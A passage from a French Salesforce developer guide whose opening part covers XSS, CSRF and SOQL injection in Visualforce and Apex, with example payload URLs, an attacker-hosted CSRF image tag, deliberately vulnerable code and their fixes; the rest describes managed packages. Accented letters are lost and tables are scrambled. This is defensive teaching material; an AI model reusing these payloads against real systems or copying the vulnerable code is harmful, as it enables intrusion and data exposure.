SlYiOfRzpM18huTGN3jC0O1FIkbuQRwPc9OQJeMRm4h2UYXRnmZ5wZufIrvd9DtC_ilA&server=https://na1.salesforce.com
/services/Soap/u/13.0/4f0900D30000000Jsbi">Go to portal</a>

Les expressions de formule peuvent tre des appels de fonction ou inclure des informations sur des objets de plate-forme,
l'environnement d'un utilisateur, l'environnement systme et l'environnement de demande. Une fonctionnalit importante de
ces expressions est l'absence d'chappement des donnes durant le rendu. Puisque les donnes sont rendues sur le serveur, il
n'est pas possible d'chapper les donnes rendues sur le client l'aide d'un script Java ou d'une autre technologie ct client.

Crer

Guide de l'utilisateur | Prsentation des packages | 859

Cela peut entraner des situations potentiellement dangereuses si l'expression de la formule se rfre des donnes non systme
(ventuellement hostiles ou modifiables) et si l'expression elle-mme n'est pas incluse dans une fonction pour chapper la sortie
durant le rendu. Une vulnrabilit commune est cre en utilisant l'expression {!$Request.*} pour accder aux paramtres
de demande.
<html> <head> <title>{!$Request.title}</title> </head> <body>Hello world!</body> </html>

Malheureusement, la balise {!$Request.title} non chappe entrane galement une vulnrabilit XSS. Par exemple, la
requte :
http://example.com/demo/hello.html?title=Adios%3C%2Ftitle%3E%3Cscript%3Ealert('xss')%3C%2Fscript%3E

donne la sortie :
<html><head><title>Adios</title><script>alert('xss')</script></title></head><body>Hello
world!</body></html>

Le mcanisme standard d'chappement ct serveur consiste utiliser la balise de formule SUBSTITUTE(). Compte tenu de
la position de l'expression {!$Request.*} dans l'exemple, l'attaque ci-dessus peut tre vite en utilisant les appels
SUBSTITUTE() imbriqus suivants.
<html> <head> <title>{! SUBSTITUTE(SUBSTITUTE($Request.title,"<","<"),">",">")}</title>
</head> <body>Hello world!</body> </html>

Selon la position de la balise et de l'utilisation des donnes, les deux caractres chapper ainsi que leurs quivalents chapps
peuvent varier. Par exemple, l'instruction
<script>var ret = "{!$Request.retURL}";script>var ret = "{!$Request.retURL}";</script>

ncessite que le caractre double guillemet soit chapp avec %22, son quivalent cod en URL, au lieu du guillemet chapp
en HTML, car il sera probablement utilis dans un lien. Sinon, la requte :
http://example.com/demo/redirect.html?retURL= foo%22%3Balert('xss')%3B%2F%2F

donne :
<script>var ret = "foo";alert('xss');//";</script>

En outre, la variable ret peut ncessiter ultrieurement un chappement ct client dans la page, si son utilisation risque de
provoquer l'interprtation des caractres de contrle HTML inclus.
Les balises de formule peuvent galement servir inclure des donnes d'objet de plate-forme. Bien que les donnes proviennent
directement de l'organisation de l'utilisateur, elles doivent tre chappes avant leur utilisation afin d'empcher les utilisateurs
d'excuter du code dans le contexte d'autres utilisateurs (ventuellement ceux disposant de privilges suprieurs). Tandis que
ces types d'attaques doivent tre excuts par des utilisateurs de la mme organisation, ils les rles d'utilisateur de l'organisation
et rduisent l'intgrit des enregistrements d'audit. De plus, de nombreuses organisations contiennent des donnes importes
depuis des sources externes et dont le contenu malveillant n'a pas t filtr.
Cross-Site Request Forgery (CSRF)
Les failles Cross-Site Request Forgery (CSRF) relvent moins de l'erreur de programmation que d'un manque de protection.
Pour dcrire le CSRF, le plus simple est de prendre un exemple. Un attaquant possde une page Web l'adresse

Crer

Guide de l'utilisateur | Prsentation des packages | 860

www.attacker.com. Cette page peut tre n'importe quelle page Web, y compris une page qui fournit des services ou des

informations utiles dirigeant le trafic vers ce site. La page de l'attaquant contient une balise HTML semblable la suivante :
<img
src="http://www.yourwebpage.com/yourapplication/createuser?email=attacker@attacker.com&type=admin....."
height=1 width=1 />

En d'autres termes, la page de l'attaquant contient une URL qui excute une action sur votre site Web. Si l'utilisateur est
encore connect votre page Web lorsqu'il visite celle de l'attaquant, l'URL est rcupre et les actions excutes. Cette attaque
russit car l'utilisateur est encore authentifi votre page Web. Il s'agit d'un exemple trs simple mais l'attaquant peut se rvler
plus cratif en utilisant des scripts pour gnrer la requte de rappel ou mme utiliser des attaques CSRF contre vos mthodes
AJAX.
Pour plus d'informations et obtenir des protections traditionnelles, reportez-vous aux articles suivants :

http://www.owasp.org/index.php/Cross-Site_Request_Forgery
http://www.cgisecurity.com/articles/csrf-faq.shtml
http://shiflett.org/articles/cross-site-request-forgeries

Dans la plate-forme Force.com, salesforce.com a implment un jeton anti-CSRF pour viter cette attaque. Chaque page
inclut une chaine de caractres alatoire en tant que champ de formulaire masqu. Au chargement de la page suivante,
l'application vrifie la validit de cette chane de caractres et excute la commande uniquement si la valeur correspond la
valeur attendue. Cette fonctionnalit vous protge lors de l'utilisation de tous les contrleurs et mthodes standard.
L encore, le dveloppeur peut contourner les protections intgres sans tre conscient du risque. Par exemple, supposons que
vous avez un contrleur personnalis dans lequel vous prenez l'ID d'objet en tant que paramtre d'entre, puis utilisez ce
paramtre d'entre dans un appel SOQL. Examinez le snippet de code suivant.
<apex:page controller="myClass" action="{!init}"</apex:page>
public class myClass { public void init() { Id id =
ApexPages.currentPage().getParameters().get('id'); Account obj = [select id, Name FROM
Account WHERE id = :id]; delete obj; return ; } }

Dans ce cas, le dveloppeur a sans le savoir contourn les contrles anti-CSRF en dveloppant sa propre mthode d'action.
Le paramtre id est lu et utilis dans le code. Le jeton anti-CSRF n'est jamais lu ni valid. La page Web d'un attaquant peut
avoir envoy l'utilisateur vers cette page l'aide d'une attaque CSRF et peut avoir fourni n'importe quelle valeur pour le
paramtre id.
Il n'existe aucune protection intgre contre ce type de risque et les dveloppeurs doivent tre vigilants lorsqu'ils crivent des
pages qui excutent des actions en fonction de paramtres fournis par l'utilisateur, tels que la variable id de l'exemple prcdent.
Il est possible de contourner ce risque en insrant une page intermdiaire de confirmation avant d'excuter l'action, pour
s'assurer que l'utilisateur appelle la page intentionnellement. D'autres suggestions comprennent la rduction du dlai d'expiration
d'une session inactive pour l'organisation et la formation des utilisateurs afin qu'ils se dconnectent de leur session active et
n'utilisent pas leur navigateur pour visiter d'autres sites tant qu'ils sont authentifis.
Injection SOQL
Dans d'autres langages de programmation, cette faille est connue sous le nom d'injection SQL. Apex n'utilise pas le langage
SQL, mais son propre langage de requte de base de donnes, le SOQL. Le langage SOQL est beaucoup plus simple et ses
fonctionnalits sont plus limites que celles du SQL. Par consquent, les risques sont beaucoup moins importants pour une
injection SOQL que pour une injection SQL, mais les attaques sont presque identiques aux injections SQL traditionnelles.
En rsum, l'injection SQL/SOQL implique la rcupration d'une entre fournie par l'utilisateur et l'utilisation de ces valeurs
dans une requte SOQL dynamique. Si l'entre n'est pas valide, elle peut inclure des commandes SOQL qui modifient
efficacement l'instruction SOQL et trompent l'application afin qu'elle excute des commandes non intentionnelles.
Pour plus d'informations sur les attaques par injection SQL, reportez-vous aux articles suivants :

Crer

Guide de l'utilisateur | Prsentation des packages | 861

http://www.owasp.org/index.php/SQL_injection
http://www.owasp.org/index.php/Blind_SQL_Injection
http://www.owasp.org/index.php/Guide_to_SQL_Injection
http://www.google.com/search?q=sql+injection

Vulnrabilit aux injections SOQL dans Apex

Vous trouverez ci-dessous un simple exemple de code Apex et Visualforce vulnrable une injection SOQL.
<apex:page controller="SOQLController" > <apex:form> <apex:outputText value="Enter Name"
/> <apex:inputText value="{!name}" /> <apex:commandButton value="Query" action="{!query}
/> </apex:form> </apex:page>
public class SOQLController { public String name { get { return name;} set { name = value;}
} public PageReference query() { String qryString = 'SELECT Id FROM Contact WHERE (IsDeleted
= false and Name like \'%' + name + '%\')'; queryResult = Database.query(qryString); return
null; } }

Cet exemple est trs simple mais illustre bien la logique. Le code sert rechercher les contacts qui n'ont pas t supprims.
L'utilisateur fournit une valeur d'entre appele name. La valeur peut tre n'importe quelle donne fournie par l'utilisateur et
n'est jamais valide. La requte SOQL est construire de faon dynamique, puis excute avec la mthode Database.query.
Si l'utilisateur fournit une valeur normale, l'instruction s'excute comme prvu :
name = Bob sqyString = SELECT Id FROM Contact WHERE (IsDeleted = false and Name like '%Bob%')

Cependant, si l'utilisateur fournit une entre imprvue, telle que :

name = test%') or (Name like '

Dans ce cas, la chane de requte devient :

SELECT Id FROM Contact WHERE (IsDeleted = false and Name like '%test%') or (Name like '%')

Les rsultats montrent maintenant tous les contacts, pas seulement ceux qui ne sont pas supprims. Une faille par injection
SOQL peut tre utilise pour modifier la logique prvue de n'importe quelle requte vulnrable.
Protections contre les injections SOQL
Pour prvenir toute attaque par injection SOQL, vitez d'utiliser des requtes SOQL dynamiques. Utilisez la place des
requtes statiques et des variables de liaison. L'exemple vulnrable ci-dessus peut tre rcrit l'aide d'une requte SOQL
statique, comme suit :
public class SOQLController { public String name { get { return name;} set { name = value;}
} public PageReference query() { String queryName = '%' + name + '%'; queryResult = [SELECT
Id FROM Contact WHERE (IsDeleted = false and Name like :queryName)]; return null; } }

Si vous avez besoin d'une requte SOQL dynamique, utilisez la mthode escapeSingleQuotes pour nettoyer l'entre
fournie par l'utilisateur. Cette mthode ajoute le caractre d'chappement (\) tous les guillemets simples d'une chane transmise
par un utilisateur. Cette mthode permet de traiter tous les guillemets simples en tant que chanes englobantes, au lieu de
commandes de base de donnes.

Crer

Guide de l'utilisateur | Prsentation des packages | 862

Contrle de l'accs aux donnes

La plate-forme Force.com utilise abondamment des rgles de partage des donnes. Chaque objet peut avoir des autorisations
uniques selon lesquelles les utilisateurs peuvent lire, crer, modifier et supprimer. Ces restrictions s'imposent lorsque tous les
contrleurs standard sont utiliss.
Lors de l'utilisation d'une classe Apex, les autorisations de profil intgres et les restrictions de scurit au niveau du champ
ne sont pas respectes durant l'excution. Le comportement par dfaut permet une classe Apex de lire et de mettre jour
toutes les donnes au sein de l'organisation. Puisque ces rgles ne sont pas imposes, les dveloppeurs qui utilisent Apex doivent
s'assurer de ne pas exposer accidentellement les donnes sensibles qui sont habituellement masques aux utilisateurs par des
autorisations bases sur le profil, une scurit au niveau du champ ou les paramtres par dfaut l'chelle de l'organisation.
Cette prcaution s'applique particulirement aux pages Visualforce. Par exemple, examinons le pseudo code Apex suivant :
public class customController { public void read() { Contact contact = [Select id from
Contact where Name = :value]; } }

Dans ce cas, tous les enregistrements de contact sont recherchs, mme si l'utilisateur actuellement connect est normalement
autoris afficher ces enregistrements. La solution consiste utiliser les mots cls qualifiants with sharing en dclarant la
classe :
public with sharing class customController { . . . }

Les mots cls with sharing invitent la plate-forme utiliser les autorisations de partage de scurit de l'utilisateur actuellement
connect plutt qu' accorder un accs complet tous les enregistrements.

Gestion des packages

Disponible avec : Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour tlcharger des packages :

Tlcharger des packages AppExchange

Les packages correspondent un groupe de composants et d'applications Force.com qui sont disponibles pour les autres
organisations via AppExchange. Un package gr est un ensemble de composants d'application publis en tant qu'unit dans
AppExchange et associs un espace de noms et une Organisation de gestion de licences. Un package doit tre gr pour
tre publi publiquement dans AppExchange et pour prendre en charge les mises niveau. Une organisation peut crer un
seul package gr que de nombreuses organisations peuvent tlcharger et installer. Ils sont diffrents des packages non grs
car certains composants sont verrouills pour permettre la mise niveau ultrieure du package gr. Les packages non grs
ne comprennent pas les composants verrouills et ne peuvent pas tre mis niveau. En outre, les packages grs masquent
certains composants (comme Apex) dans les organisations abonnes, afin de protger les droits de proprit intellectuelle du
dveloppeur.
Pour plus d'informations, reportez-vous propos des packages grs la page 863 et Conversion des packages non grs
en grs la page 877.
Pour grer vos packages, cliquez sur Configuration Crer Packages.
Les paramtres du dveloppeur permettent de configurer les paramtres de votre dveloppeur. Pour plus d'informations,
reportez-vous Configuration de vos paramtres de dveloppeur la page 874.

Crer

Guide de l'utilisateur | Prsentation des packages | 863

partir de la liste des packages, vous pouvez effectuer les oprations suivantes :

Cliquez sur Nouveau pour crer un package, entrez son nom et sa description, puis cliquez sur Enregistrer pour le stocker
dans la liste des packages.

Cliquez sur Modifier pour mettre jour les proprits de package.

Cliquez sur Suppr pour supprimer le package. Les composants du package ne sont pas supprims.
Cliquez sur le nom du package pour afficher ses dtails.
Remarque: Pour crer une solution d'essai, vous enregistrer ou choisir une organisation de gestion de licence pour les
lments tlchargs, cliquez sur Accder au AppExchange partir de la page de dtails de tlchargement de packages.

Voir aussi :
Prsentation des packages

propos des packages grs

Disponible avec : Developer Edition
Les tlchargements et installations de packages sont disponibles dans Group Edition, Professional Edition, Enterprise
Edition, Unlimited Edition et Developer Edition.

Un package gr est un ensemble de composants d'application publis en tant qu'unit dans AppExchange et associs un
espace de noms et une Organisation de gestion de licences. Un package doit tre gr pour tre publi publiquement dans
AppExchange et pour prendre en charge les mises niveau. Une organisation peut crer un seul package gr que de nombreuses
organisations peuvent tlcharger et installer. Ils sont diffrents des packages non grs car certains composants sont verrouills
pour permettre la mise niveau ultrieure du package gr. Les packages non grs ne comprennent pas les composants
verrouills et ne peuvent pas tre mis niveau. En outre, les packages grs masquent certains composants (comme Apex)
dans les organisations abonnes, afin de protger les droits de proprit intellectuelle du dveloppeur.
Les packages grs sont diffrents des packages non grs sur bien d'autres aspects. Avant de crer des packages grs, tenez
compte des informations ci-dessous :

Vous devez utiliser une entreprise Developer Edition pour pouvoir crer et utiliser un package gr.
Une entreprise Developer Edition peut contenir un seul package gr et de nombreux packages non grs.
Avant de convertir un package non gr en package gr, autorisez votre entreprise crer des packages grs. Suivez les
instructions de la rubrique Activation des packages grs pour votre entreprise la page 873.
Tous les packages sont non grs sauf indication contraire de l'une des icnes gres suivantes :
-

Gr-Bta

Gr-Publi

Gr-Install

Vous pouvez proposer des versions bta d'un package gr quelques-uns de vos utilisateurs si vous dveloppez encore des
composants du package mais souhaitez permettre aux bta-testeurs de l'installer pour qu'ils vous fassent part de leurs
commentaires.
Les installateurs de packages grs ne peuvent pas revenir des versions prcdentes.

Crer

Guide de l'utilisateur | Prsentation des packages | 864

Lorsque vous publiez un package gr, c'est--dire que vous le tlchargez en slectionnant l'option Gr-Publi, les
proprits de ses composants changent pour empcher les dveloppeurs et les installateurs d'effectuer des modifications
potentiellement dangereuses. Pour obtenir la liste de chaque type de composant du package et de ses proprits, reportez-vous
Composants intgrer dans un package la page 866. Si vous ne souhaitez pas proposer de mises niveau de votre package,
envisagez de le laisser non gr.
Certains composants d'un package gr publi peuvent toujours tre modifis. Pour obtenir la liste de ces attributs,
reportez-vous Composants intgrer dans un package la page 866.

Voir aussi :
Gestion des packages
Activation des packages grs pour votre entreprise
Conversion des packages non grs en grs
Planification de l'dition de packages grs
Composants intgrer dans un package
Prsentation d'une version de package
Prsentation d'une version de package
Disponible avec : Developer Edition
Les tlchargements et installations de packages sont disponibles dans Group Edition, Professional Edition, Enterprise
Edition, Unlimited Edition et Developer Edition.

Une version de package est un ensemble de composants tlchargs dans un package. Elle est indique par un numro de
version qui se prsente sous le format numroPrincipal.numroSecondaire.numroCorrectif tel que 2.1.3. Notez
que le numroCorrectif est gnr uniquement si vous crez un correctif. En l'absence de correctif, le numroCorrectif
indique un zro (0). Les versions de correctifs sont disponibles via un programme pilote. Pour plus d'informations sur l'activation
de versions de correctifs pour votre organisation, contactez salesforce.com. Les packages non grs ne peuvent pas tre mis
niveau. Chaque version de package est un simple ensemble de composants distribuer. Une version de package plus
d'importance pour les packages grs. Les packages peuvent rvler des comportements diffrents selon les versions. Les
versions de package permettent aux diteurs d'adapter les composants de leurs packages grs en publiant gracieusement des
versions ultrieures sans gner les intgrations clientes existantes en utilisant le package.
Lorsqu'un abonn existant installe une nouvelle version d'un package, le package ne contient qu'une seule instance de chaque
composant, mais les composants peuvent muler des versions antrieures. Par exemple, un abonn peut utiliser un package
gr qui contient une classe Apex. Si l'diteur dcide de rendre obsolte une mthode dans la classe Apex et de publier une
nouvelle version du package, l'abonn continue de voir une seule instance de la classe Apex aprs l'installation de la nouvelle
version. Cependant, cette classe Apex peut continuer muler la version prcdente de tout code qui rfrence la mthode
obsolte de la version antrieure.
Apex a une syntaxe spciale qui permet aux dveloppeurs de packages d'utiliser une logique conditionnelle dans les classes et
les dclencheurs afin de dclencher un comportement diffrent selon les versions. Le dveloppeur du package peut ainsi
continuer la prise en charge du comportement existant dans les classes et les dclencheurs des versions prcdentes du package
tout en faisant voluer le code.

Crer

Guide de l'utilisateur | Prsentation des packages | 865

Lorsque vous dveloppez des applications clientes l'aide de l'API, vous pouvez spcifier la version de chaque package que
vous utilisez dans vos intgrations.

Voir aussi :
propos des packages grs
Gestion des packages
Planification de l'dition de packages grs
La publication d'un package Force.com AppExchange est semblable celle de tout autre programme dans le dveloppement
de logiciels. Vous pouvez la dployer par itrations pour garantir que chaque composant fonctionne comme prvu. Des
bta-testeurs peuvent mme vous proposer d'installer une version prcdente de votre package pour vous transmettre leurs
commentaires.
Une fois que vous diffusez un package en le publiant sur AppExchange, tout utilisateur peut l'installer. Planifier donc
minutieusement votre dition. Passez en revue les tats dfinis ci-dessous pour vous familiariser avec le processus d'dition.
Salesforce.com applique automatiquement l'tat appropri votre package et ses composants selon les paramtres de
tlchargement que vous slectionnez et la phase du processus de publication.
Etat

Description

Non gr

Le package n'a pas t converti en package gr ou le

composant n'a pas t ajout un package gr. Notez qu'un
composant Gr-Bta peut devenir Non gr s'il est
supprim d'un package gr. Tous les packages sont non grs
sauf indication contraire de l'une des icnes gres ci-dessous.

Gr-Bta

Le package ou composant a t cr dans l'entreprise

Salesforce.com, il est gr, mais n'est pas publi pour l'une des
raisons suivantes :
Il n'a pas t tlcharg.
Il a t tlcharg avec l'option Gr-Bta slectionne.
Cette option l'empche d'tre publi et publiquement
disponible sur AppExchange. Le dveloppeur peut toujours
modifier des composants, mais pas ncessairement
l'installateur, selon les Composants intgrer dans un
package.

Gr-Publi

Le package ou le composant a t cr dans l'organisation

Salesforce.com actuelle et il est gr. Il est galement tlcharg
avec l'option Gr-Publi slectionne, ce qui indique qu'il
peut tre publi sur AppExchange et qu'il est mis disposition.
Notez qu'une fois que vous avez dplac un package vers cet
tat, le dveloppeur et l'installateur ne peuvent plus modifier
certaines proprits des composants. Pour obtenir la liste de
ces proprits des packages grs-publis, reportez-vous
Composants intgrer dans un package la page 866.

Crer

Guide de l'utilisateur | Prsentation des packages | 866

Etat

Description

Gr-Install

Le package ou le composant a t install partir d'une autre

organisation Salesforce.com mais il est gr.

Un diteur peut dcider d'affiner la fonctionnalit dans un package gr pour l'adapter l'volution des besoins. Cela peut
ncessiter une nouvelle conception des composants du package gr.Les diteurs ne peuvent pas supprimer certains composants
dans un package Gr-Publi, mais ils peuvent rendre obsolte un composant dans une version ultrieure d'un package pour
que les nouveaux abonns ne le reoivent pas. Ce composant continue toutefois de fonctionner pour les abonns existants et
les intgrations d'API.

Voir aussi :
propos des packages grs
Composants intgrer dans un package
Composants intgrer dans un package
Les composants Salesforce.com d'un package gr se comportent diffremment de ceux d'un package non gr, diffrents
stades du processus d'dition. Par exemple, un abonn ne peut pas modifier certains attributs des composants grs d'un package
install, qu'il s'agisse d'une version bta ou pas. De mme, le dveloppeur ne peut pas modifier certains attributs de composants
grs prcdemment tlchargs dans l'tat Gr-Publi. Toutefois, les composants Gr-Bta ont les mmes proprits que
les composants non grs dans l'entreprise du dveloppeur. Les dveloppeurs doivent dterminer le bon moment pour attribuer
l'tat Gr-Publi un package bta, car cette opration limite les proprits de chacun de ses composants. Pour bien comprendre
chaque statut d'un package gr, reportez-vous Planification de la publication de packages grs la page 865.
Un package comprend de nombreux types de composants diffrents. Le comportement d'un composant peut varier selon le
type de package. Le tableau suivant prsente le comportement de composants pour chaque proprit. Chaque proprit
reprsente une colonne du tableau. Pour plus d'informations sur les attributs de composants, reportez-vous Attributs de
composants dans les packages grs la page 878.
Intgr explicitement ou implicitement un package (s'applique aux packages grs et non grs)
Les composants peuvent tre ajouts explicitement ou implicitement. Par exemple, lorsque vous crez un champ
personnalis dans un objet standard, vous devez ajouter explicitement le champ personnalis votre package. Cependant,
si vous crez un objet personnalis auquel vous ajoutez un champ personnalis, lorsque vous ajoutez l'objet personnalis
au package, le champ personnalis est explicitement ajout au package.

Explicitement : Le composant peut tre inclus directement dans le package.

Implicitement : Le composant ne peut pas tre ajout directement au package. Le composant est ajout au package
lorsqu'un autre composant dpendant, gnralement un objet personnalis, est ajout au package.

Renommage automatique (s'applique aux packages non grs)

Salesforce.com peut rsoudre automatiquement les conflits de nom lors de l'isntallation.

Non : En cas de conflit de nommage, l'installation est bloque.

Oui : En cas de conflit de nommage, Salesforce.com peut modifier le nom du composant en cours d'installation.

Crer

Guide de l'utilisateur | Prsentation des packages | 867

Mis niveau (s'applique aux packages grs)

Certains composants sont mis jour vers une version plus rcente lors de la mise niveau d'un package.

Non : Le composant n'est pas mis niveau.

Oui : Le composant est mis niveau.

Supprim par le dveloppeur (s'applique aux packages grs)

Un dveloppeur peut supprimer certains composants une fois le package tlcharg en tant que Gr-Publi. Les
composants supprims ne sont pas supprims dans l'organisation de l'abonn durant une mise niveau du package. Pour
plus d'informations sur la suppression de composants, reportez-vous Protg la page 871.

Non : Le dveloppeur ne peut pas supprimer un composant Gr-Publi.

Oui : Le dveloppeur peut supprimer un composant Gr-Publi.

Supprim par l'abonn (s'applique aux packages grs)

Un abonn ou installateur d'un package peut supprimer le composant.

Non : L'abonn ne peut pas supprimer le composant.

Oui : L'abonn peut supprimer le composant.

Protg (s'applique aux packages grs)

Les dveloppeurs peuvent marquer certains composants comme protgs. Les composants protgs ne peuvent pas tre
lis ni rfrencs par des composants crs au sein d'une organisation abonne. Un dveloppeur peut supprimer un
composant protg dans une version ultrieure sans avoir se soucier des checs d'installation. Cependant, une fois qu'un
composant est marqu comme non protg et qu'il est publi de manire globale, le dveloppeur ne peut plus le supprimer.
Lorsque l'abonn effectue une mise niveau vers une version du package dans laquelle le composant est supprim, le
composant est retir de l'organisation de l'abonn.

Non : Le composant ne peut pas tre marqu comme protg.

Oui : Le composant peut tre marqu comme protg.

Protection IP (s'applique aux packages grs)

Certains composants incluent automatiquement la protection de la proprit intellectuelle, comme le code Apex obscurci.
Les seules exceptions sont les mthodes Apex dclares comme globales, dont les signatures peuvent tre consultes par
l'abonn. Les informations incluses dans les composants intgrs un package et publis peuvent tre consultes par les
utilisateurs sur Force.com AppExchange. Soyez prudent en ajoutant votre code une commande custom s-control,
une formule, une page Visualforce ou tout autre composant impossible masquer dans votre sous-application.

Non : Le composant ne prend pas en charge la protection de la proprit intellectuelle.

Oui : Le composant prend en charge la protection de la proprit intellectuelle.

Crer

Guide de l'utilisateur | Prsentation des packages | 868

Composant

Intgr
Renommage Mis niveau Supprim par Supprim par Protg
explicitement automatique
le
l'abonn
ou
dveloppeur
implicitement
un package

Protection IP

Instantan
analytique

Explicitement Oui

Non

Oui

Oui

Non

Non

Classe Apex

Explicitement Non

Oui

Non

Non

Non

Oui

Motif de
Implicitement Non
partage Apex
Dans une
extension :
Explicitement

Oui

Non

Non

Non

Non

Nouveau
Implicitement Non
calcul du
partage Apex

Non

Oui

Oui

Non

Non

Dclencheur Dans un objet Non

Apex
standard ou
extension :
Explicitement

Oui

Non

Non

Non

Oui

Explicitement Non

Non

Oui

Oui

Non

Non

Bouton ou
Dans un objet Non
lien
standard :
personnalis Explicitement

Oui

Non

Non

No, sauf les

Non
liens
personnaliss
(uniquement
pour la page
d'accueil)

Oui

Non

Non

Non

Non

tiquette
Implicitement Non
personnalise

Oui

Oui, si
protg

Non

Oui

Non

Objet
Explicitement Non
personnalis

Oui

Non

Non

Non

Non

Dans un objet
du package :
Implicitement
Application

Dans un objet
personnalis :
Implicitement
Champ
Dans un objet Non
personnalis standard :
Explicitement
Dans un objet
personnalis :
Implicitement

Crer

Guide de l'utilisateur | Prsentation des packages | 869

Composant

Intgr
Renommage Mis niveau Supprim par Supprim par Protg
explicitement automatique
le
l'abonn
ou
dveloppeur
implicitement
un package

Protection IP

Type de
Explicitement Non
rapport
personnalis

Oui

Non

Non

Non

Non

Paramtre
Explicitement Non
personnalis

Oui

Non

Non

Non

Oui

Tableau de
bord

Explicitement Oui

Non

Oui

Oui

Non

Non

Document

Explicitement Oui

Non

Oui

Oui

Non

Non

Non

Oui

Oui

Non

Non

Dans un
dossier :
Implicitement

Dans un
dossier :
Implicitement
Modle
d'e-mail

Explicitement Oui

Dossier

Explicitement Oui

Non

Oui

Oui

Non

Non

Composant
de la page
d'accueil

Explicitement Non

Oui

Non

Non

Non

Non

Prsentation Explicitement Non

de page
d'accueil

Non

Oui

Oui

Non

Non

En-tte

Explicitement Oui

Non

Oui

Oui

Non

Non

Vue de liste

Dans un objet Oui

standard :
Explicitement

Non

Oui

Oui

Non

Non

Dans un
dossier :
Implicitement

Dans un objet
personnalis :
Implicitement

Crer

Guide de l'utilisateur | Prsentation des packages | 870

Composant

Intgr
Renommage Mis niveau Supprim par Supprim par Protg
explicitement automatique
le
l'abonn
ou
dveloppeur
implicitement
un package

Prsentation Dans un objet Non

de page
standard :
Explicitement

Protection IP

Non

Oui

Oui

Non

Non

Oui

Non

Non

Non

Non

Dans un objet
personnalis :
Implicitement
Type
Dans un objet Non
d'enregistrement standard :
Explicitement
Dans un objet
personnalis :
Implicitement
Application
d'accs
distance

Explicitement Non

Oui

Oui

Non

Non

Non

Rapport

Explicitement Oui

Non

Oui

Oui

Non

Non

Commandes Explicitement Non

S-Control

Oui

Non

Non

Non

Non

Ressources
statiques

Explicitement Non

Oui

Non

Non

Non

Non

Onglet

Explicitement Non

Oui

Non

Non

Non

Non

Translation

Explicitement Non

Oui

Non

Non

Non

Non

Rgle de
validation

Dans un objet Non

standard :
Explicitement

Oui

Non

Non

Non

Non

Dans un
dossier :
Implicitement

Dans un objet
personnalis :
Implicitement
Composant
Visualforce

Explicitement Non

Oui

Non

Non

Non

Oui

Page
Visualforce

Explicitement Non

Oui

Non

Non

Non

Non

Crer

Guide de l'utilisateur | Prsentation des packages | 871

Composant

Intgr
Renommage Mis niveau Supprim par Supprim par Protg
explicitement automatique
le
l'abonn
ou
dveloppeur
implicitement
un package

Protection IP

Alerte par
e-mail de
workflow

Explicitement Non

Oui

Oui, si
protg

Non

Oui

Non

Mise jour de Explicitement Non

champ de
workflow

Oui

Oui, si
protg

Non

Oui

Non

Message
sortant du
workflow

Explicitement Non

Oui

Oui, si
protg

Non

Oui

Non

Rgle de
workflow

Explicitement Non

Oui

Non

Non

Non

Non

Tche de
workflow

Explicitement Non

Oui

Oui, si
protg

Non

Oui

Non

Lorsque vous ajoutez des composants votre package, vous pouvez remarquer que Salesforce.com inclut automatiquement
des composants associs. Ces derniers sont requis dans l'entreprise de l'installateur pour que le composant fonctionne
normalement. Par exemple, si vous ajoutez une page Visualforce un package et qu'il rfrence un contrleur personnalis,
cette classe Apex est galement ajoute au package.
Pour comprendre comment les composants sont automatiquement inclus, consultez la liste ci-dessous :
Lorsque vous ajoutez ce composant Les types de composants suivants peuvent tre inclus automatiquement :
:
Instantan analytique

Rapports

Classe Apex

Champs personnaliss, objets personnaliss et autres classes Apex explicitement

rfrences, ainsi que tout autre lment directement rfrenc par la classe Apex qui
peut tre incluse dans le package.
Remarque: Si une classe Apex rfrence une tiquette personnalise et que
cette tiquette possde des traductions, vous devez explicitement intgrer dans
le package les langues individuelles souhaites pour les traductions inclure
dans le package.

Dclencheur Apex

Champs personnaliss, objets personnaliss et toute autre classe Apex explicitement

rfrence, ainsi que tout autre lment directement rfrenc par le dclencheur Apex
qui peut tre inclus dans le package.

Sous-application personnalise

Onglets personnaliss (y compris les onglets Web), documents (stocks en tant

qu'images dans l'onglet), dossier de documents

Bouton ou lien personnalis

Champs et objets personnaliss

Crer

Guide de l'utilisateur | Prsentation des packages | 872

Lorsque vous ajoutez ce composant Les types de composants suivants peuvent tre inclus automatiquement :
:
Champ personnalis

Objets personnaliss

Prsentations personnalises de page Composants de page d'accueil personnaliss dans la prsentation

d'accueil
Paramtres personnaliss

Motifs de partage Apex, nouveaux calculs de partage Apex, dclencheurs Apex, boutons
ou liens personnaliss, champs personnaliss, vues de liste, prsentations de page, types
d'enregistrement, rgles de validation

Objet personnalis

Champs personnaliss, rgles de validation, prsentations de page, vues de liste, boutons

personnaliss, liens personnaliss, types d'enregistrement, motifs de partage Apex,
nouveaux calculs de partage Apex et dclencheurs Apex.
Notez les lments suivants :

Les motifs de partage Apex ne sont pas disponibles dans les extensions.
Lorsqu'un package est install, seules les vues de listes publiques partir d'une
sous-application sont installes. Si un objet personnalis prsente des vues de liste
personnalises que vous voulez inclure dans votre package, assurez-vous que la vue
de listes est accessible tous les utilisateurs.

Onglet personnalis

Objets personnaliss (avec tous les composants qu'ils contiennent), commandes

s-controls et pages Visualforce

Tableau de bord

Dossiers, rapports (avec tous les composants qu'ils contiennent), commandes s-controls
et pages Visualforce

Document

Dossier

Modle d'e-mail

Dossier, en-tte, champs personnaliss et documents (stocks en tant qu'images dans

l'en-tte ou le modle)

Dossier

Tout le contenu du dossier

Translation

Termes traduits pour la langue slectionne d'un composant du package.

Rapport

Dossier, champs personnaliss, objets personnaliss, types de rapport personnalis et

commandes custom s-control

Commande s-control

Champ et objet personnaliss

Rgle de validation

Champs personnaliss (rfrencs dans la formule)

Pages Visualforce

Classes Apex utilises comme contrleurs personnaliss et composants Visualforce

personnaliss

Rgle de workflow

Tous les messages sortants, alertes de workflow, tches et mises jour de champs
associs. En outre, si la rgle de workflow a t labore pour un objet personnalis,
celui-ci est inclus automatiquement.

Crer

Guide de l'utilisateur | Prsentation des packages | 873

Remarque: Il se peut que certains composants du package, tels que les rgles de validation ou les types d'enregistrement,
ne figurent pas dans la liste des composants du package, mais qu'ils soient inclus dans le package et installs avec les
autres composants.

Voir aussi :
propos des packages grs
Planification de l'dition de packages grs

Activation des packages grs pour votre entreprise

Disponible avec : Developer Edition
Les tlchargements et installations de packages sont disponibles dans Group Edition, Professional Edition, Enterprise
Edition, Unlimited Edition et Developer Edition.

Autorisations utilisateur requises

Pour activer les packages grs :

Personnaliser l'application

Pour crer des packages :

Crer des packages AppExchange

